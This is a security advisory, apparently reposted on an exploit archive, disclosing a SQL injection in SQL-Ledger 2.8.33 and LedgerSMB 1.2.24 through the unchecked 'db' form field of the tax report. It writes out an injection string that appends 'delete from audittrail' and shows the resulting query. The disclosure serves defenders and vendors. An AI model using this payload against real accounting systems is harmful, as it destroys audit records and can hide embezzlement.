exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

SQL-Ledger 2.8.33 / LedgerSMB 1.2.24 SQL Injection

SQL-Ledger 2.8.33 / LedgerSMB 1.2.24 SQL Injection
Posted Aug 31, 2011
Authored by Chris Travers

SQL-Ledger versions 2.8.33 and below and LedgerSMB versions 1.2.24 and below suffer from a remote SQL injection vulnerability.

tags | advisory, remote, sql injection
SHA-256 | 74ae2dd9a5dbeecf672c223648b93cc3b3ea5aeb23766d4edca33c4cbbb332c1

SQL-Ledger 2.8.33 / LedgerSMB 1.2.24 SQL Injection

Change Mirror Download
Affects versions:
SQL-Ledger 2.8.33 and lower
LedgerSMB 1.2.24 and lower.

Both programs have vendor fixes available in the form of new, patched
versions. These have been out for over a week with appropriate
advisories, with users having time to upgrade.

Files affected: LedgerSMB/RP.pm for LedgerSMB and SL/RP.pm for SQL-Ledger.

Other files exhibited similar probles but these have all been audited
and corrected in both programs, and it is not known how many other
issues were actually exploitable.

Here's the write-up for SQL-Ledger 2.8.33:

In rp.pl, sub report, line 415, you have the following line:

$form->{db} = ($form->{report} =~ /_collected/) ? "ar" : "ap";

What this does is place the strings either of 'ar' or 'ap' in the
hidden 'db' input of the form for resubmission. The browser is
supposed to send back this data to the web server which then assumes
that this is either ar or ap.

This specific example is for this one only gets triggered when nextsub
= generate_tax_report.... The first line there is
RP->tax_report(\%myconfig, \%$form);

which proceeds to run queries assuming that $form->{db} is safe.

However if I send a url something where the action is
generate_tax_report and db contains arbitrary SQL code I should be
able to cause that to execute in the database in the query in RP.pm
beginning in line 1935. Whatever $form->{db} is gets directly
interpolated in and there is no whitelisting to ensure it is always
'ar' or 'ap.' The line where this occurs is 1941, and it reads JOIN
$form->{db} a ON (a.id = ac.trans_id)

So if the query string includes the url encoded equivalent of &db=ar a
join customer n on ar.id=customer.id; delete from audittrail; select *
from ar a join acc_trans ac on ar.id = ac.trans_id

Then the first part of the query would read:
SELECT a.id, a.invoice, $transdate AS transdate,
a.invnumber, n.name, n.${vc}number, a.netamount,
a.description,
sum(ac.amount) * $ml AS tax,
a.till, n.id AS vc_id
FROM acc_trans ac
JOIN ar a join customer n on ar.id=customer.id; delete
from audittrail; select * from ar a join acc_trans ac on ar.id =
ac.trans_id
JOIN chart ch ON (ch.id = ac.chart_id)
JOIN $vc n ON (n.id = a.${vc}_id)
WHERE $where

We can reduce that to:
SELECT a.id, a.invoice, $transdate AS transdate,
a.invnumber, n.name, n.${vc}number, a.netamount,
a.description,
sum(ac.amount) * $ml AS tax,
a.till, n.id AS vc_id
FROM acc_trans ac
JOIN ar a join customer n on ar.id=customer.id;

delete from audittrail;

select * from ar a
join acc_trans ac on ar.id = ac.trans_id
JOIN chart ch ON (ch.id = ac.chart_id)
JOIN $vc n ON (n.id = a.${vc}_id)
WHERE $where

With a little effort, the audit trail could be deleted or other
database operations performed with the full permissions of the
application. Neither LedgerSMB 1.2 nor SQL-Ledger 2.8 have generic
permissions safeguards in the database to prevent this sort of thing
(like most web applications, the application runs under a single
database user). Consequently any SQL injection can be used to insert,
update, or delete data, for example in order to hide embezzlement or
theft. Thus all such vulnerabilities should be considered critical.

Only the line numbers would be different for LedgerSMB 1.2.

Users of LedgerSMB prereleases for 1.3 are less vulnerable since audit
trails and other data have permissions enforced per user, thus
ensuring that sql injection issues do not pose the privilege
escalation issues that are present in prior versions. Thus the impact
of an attack like this is greatly limited. The impact on the
pre-releases should be seen as moderate.

Best Wishes,
Chris Travers
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close